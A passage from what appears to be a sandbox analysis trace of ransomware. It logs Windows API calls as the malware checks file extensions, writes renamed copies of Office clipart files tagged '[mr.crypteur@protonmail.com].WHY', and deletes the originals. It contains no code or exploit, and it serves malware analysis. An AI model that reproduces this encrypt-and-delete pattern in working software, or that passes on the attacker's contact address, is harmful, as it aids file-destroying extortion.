nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0273.206] WriteFile (in: hFile=0x394, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.206] SetEndOfFile (hFile=0x394) returned 1 [0273.207] CloseHandle (hObject=0x394) returned 1 [0273.208] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.208] SetEndOfFile (hFile=0x3b4) returned 1 [0273.426] CloseHandle (hObject=0x3b4) returned 1 [0273.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0273.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.483] lstrlenW (lpString=".doc") returned 4 [0273.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.483] lstrlenW (lpString=".docx") returned 5 [0273.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.483] lstrlenW (lpString=".pdf") returned 4 [0273.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.483] lstrlenW (lpString=".xls") returned 4 [0273.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.483] lstrlenW (lpString=".xlsx") returned 5 [0273.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.483] lstrlenW (lpString=".ppt") returned 4 [0273.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.484] lstrlenW (lpString=".zip") returned 4 [0273.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.484] lstrlenW (lpString=".rar") returned 4 [0273.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.484] lstrlenW (lpString=".bz2") returned 4 [0273.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.484] lstrlenW (lpString=".7z") returned 3 [0273.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.484] lstrlenW (lpString=".dbf") returned 4 [0273.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.485] lstrlenW (lpString=".1cd") returned 4 [0273.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.485] lstrlenW (lpString=".jpg") returned 4 [0273.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.485] lstrlenW (lpString=".doc") returned 4 [0273.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.485] lstrlenW (lpString=".docx") returned 5 [0273.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.486] lstrlenW (lpString=".pdf") returned 4 [0273.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString=".xls") returned 4 [0273.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.486] lstrlenW (lpString=".xlsx") returned 5 [0273.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.486] lstrlenW (lpString=".ppt") returned 4 [0273.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.486] lstrlenW (lpString=".zip") returned 4 [0273.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.486] lstrlenW (lpString=".rar") returned 4 [0273.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString=".bz2") returned 4 [0273.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString=".7z") returned 3 [0273.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.487] lstrlenW (lpString=".dbf") returned 4 [0273.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.487] lstrlenW (lpString=".1cd") returned 4 [0273.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0273.487] lstrlenW (lpString=".jpg") returned 4 [0273.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.488] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.488] lstrlenW (lpString="BD06102_.WMF") returned 12 [0273.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.489] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=16112) returned 1 [0273.489] CloseHandle (hObject=0x394) returned 1 [0273.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0273.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.490] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.490] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.491] GetLastError () returned 0x0 [0273.491] ReadFile (in: hFile=0x394, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0273.893] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0273.896] ReadFile (in: hFile=0x394, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0273.897] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.897] SetEndOfFile (hFile=0x3b8) returned 1 [0273.897] CloseHandle (hObject=0x3b8) returned 1 [0273.900] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.900] SetEndOfFile (hFile=0x394) returned 1 [0273.906] CloseHandle (hObject=0x394) returned 1 [0273.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0274.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.091] lstrlenW (lpString=".doc") returned 4 [0274.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.091] lstrlenW (lpString=".docx") returned 5 [0274.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.091] lstrlenW (lpString=".pdf") returned 4 [0274.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.092] lstrlenW (lpString=".xls") returned 4 [0274.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.092] lstrlenW (lpString=".xlsx") returned 5 [0274.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.092] lstrlenW (lpString=".ppt") returned 4 [0274.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.092] lstrlenW (lpString=".zip") returned 4 [0274.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.092] lstrlenW (lpString=".rar") returned 4 [0274.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.092] lstrlenW (lpString=".bz2") returned 4 [0274.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.093] lstrlenW (lpString=".7z") returned 3 [0274.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.093] lstrlenW (lpString=".dbf") returned 4 [0274.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.093] lstrlenW (lpString=".1cd") returned 4 [0274.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.093] lstrlenW (lpString=".jpg") returned 4 [0274.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.094] lstrlenW (lpString=".doc") returned 4 [0274.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.094] lstrlenW (lpString=".docx") returned 5 [0274.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.094] lstrlenW (lpString=".pdf") returned 4 [0274.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.094] lstrlenW (lpString=".xls") returned 4 [0274.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.094] lstrlenW (lpString=".xlsx") returned 5 [0274.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.094] lstrlenW (lpString=".ppt") returned 4 [0274.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.095] lstrlenW (lpString=".zip") returned 4 [0274.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.095] lstrlenW (lpString=".rar") returned 4 [0274.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString=".bz2") returned 4 [0274.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString=".7z") returned 3 [0274.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.095] lstrlenW (lpString=".dbf") returned 4 [0274.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.095] lstrlenW (lpString=".1cd") returned 4 [0274.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0274.096] lstrlenW (lpString=".jpg") returned 4 [0274.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.096] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.097] lstrlenW (lpString="BD07804_.WMF") returned 12 [0274.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0274.603] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=4924) returned 1 [0274.603] CloseHandle (hObject=0x258) returned 1 [0274.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0274.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0274.604] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.604] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0274.605] GetLastError () returned 0x0 [0274.605] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x133c, lpOverlapped=0x0) returned 1 [0274.705] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x1340, lpOverlapped=0x0) returned 1 [0274.709] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0274.709] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.709] SetEndOfFile (hFile=0x388) returned 1 [0274.709] CloseHandle (hObject=0x388) returned 1 [0274.714] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.714] SetEndOfFile (hFile=0x258) returned 1 [0274.722] CloseHandle (hObject=0x258) returned 1 [0274.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0274.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.724] lstrlenW (lpString=".doc") returned 4 [0274.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.724] lstrlenW (lpString=".docx") returned 5 [0274.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.725] lstrlenW (lpString=".pdf") returned 4 [0274.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.725] lstrlenW (lpString=".xls") returned 4 [0274.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.725] lstrlenW (lpString=".xlsx") returned 5 [0274.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.725] lstrlenW (lpString=".ppt") returned 4 [0274.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.725] lstrlenW (lpString=".zip") returned 4 [0274.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.726] lstrlenW (lpString=".rar") returned 4 [0274.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.726] lstrlenW (lpString=".bz2") returned 4 [0274.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.726] lstrlenW (lpString=".7z") returned 3 [0274.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.726] lstrlenW (lpString=".dbf") returned 4 [0274.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.726] lstrlenW (lpString=".1cd") returned 4 [0274.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.726] lstrlenW (lpString=".jpg") returned 4 [0274.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.727] lstrlenW (lpString=".doc") returned 4 [0274.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString=".docx") returned 5 [0274.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.727] lstrlenW (lpString=".pdf") returned 4 [0274.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString=".xls") returned 4 [0274.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.727] lstrlenW (lpString=".xlsx") returned 5 [0274.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.727] lstrlenW (lpString=".ppt") returned 4 [0274.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.728] lstrlenW (lpString=".zip") returned 4 [0274.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.728] lstrlenW (lpString=".rar") returned 4 [0274.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString=".bz2") returned 4 [0274.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString=".7z") returned 3 [0274.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.728] lstrlenW (lpString=".dbf") returned 4 [0274.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.728] lstrlenW (lpString=".1cd") returned 4 [0274.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0274.729] lstrlenW (lpString=".jpg") returned 4 [0274.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.729] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.729] lstrlenW (lpString="BD08773_.WMF") returned 12 [0274.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0274.730] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=24778) returned 1 [0274.730] CloseHandle (hObject=0x258) returned 1 [0274.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0274.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0274.731] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.731] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0274.732] GetLastError () returned 0x0 [0274.732] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x60ca, lpOverlapped=0x0) returned 1 [0274.886] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0274.890] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0274.890] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.891] SetEndOfFile (hFile=0x388) returned 1 [0274.891] CloseHandle (hObject=0x388) returned 1 [0274.892] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.893] SetEndOfFile (hFile=0x258) returned 1 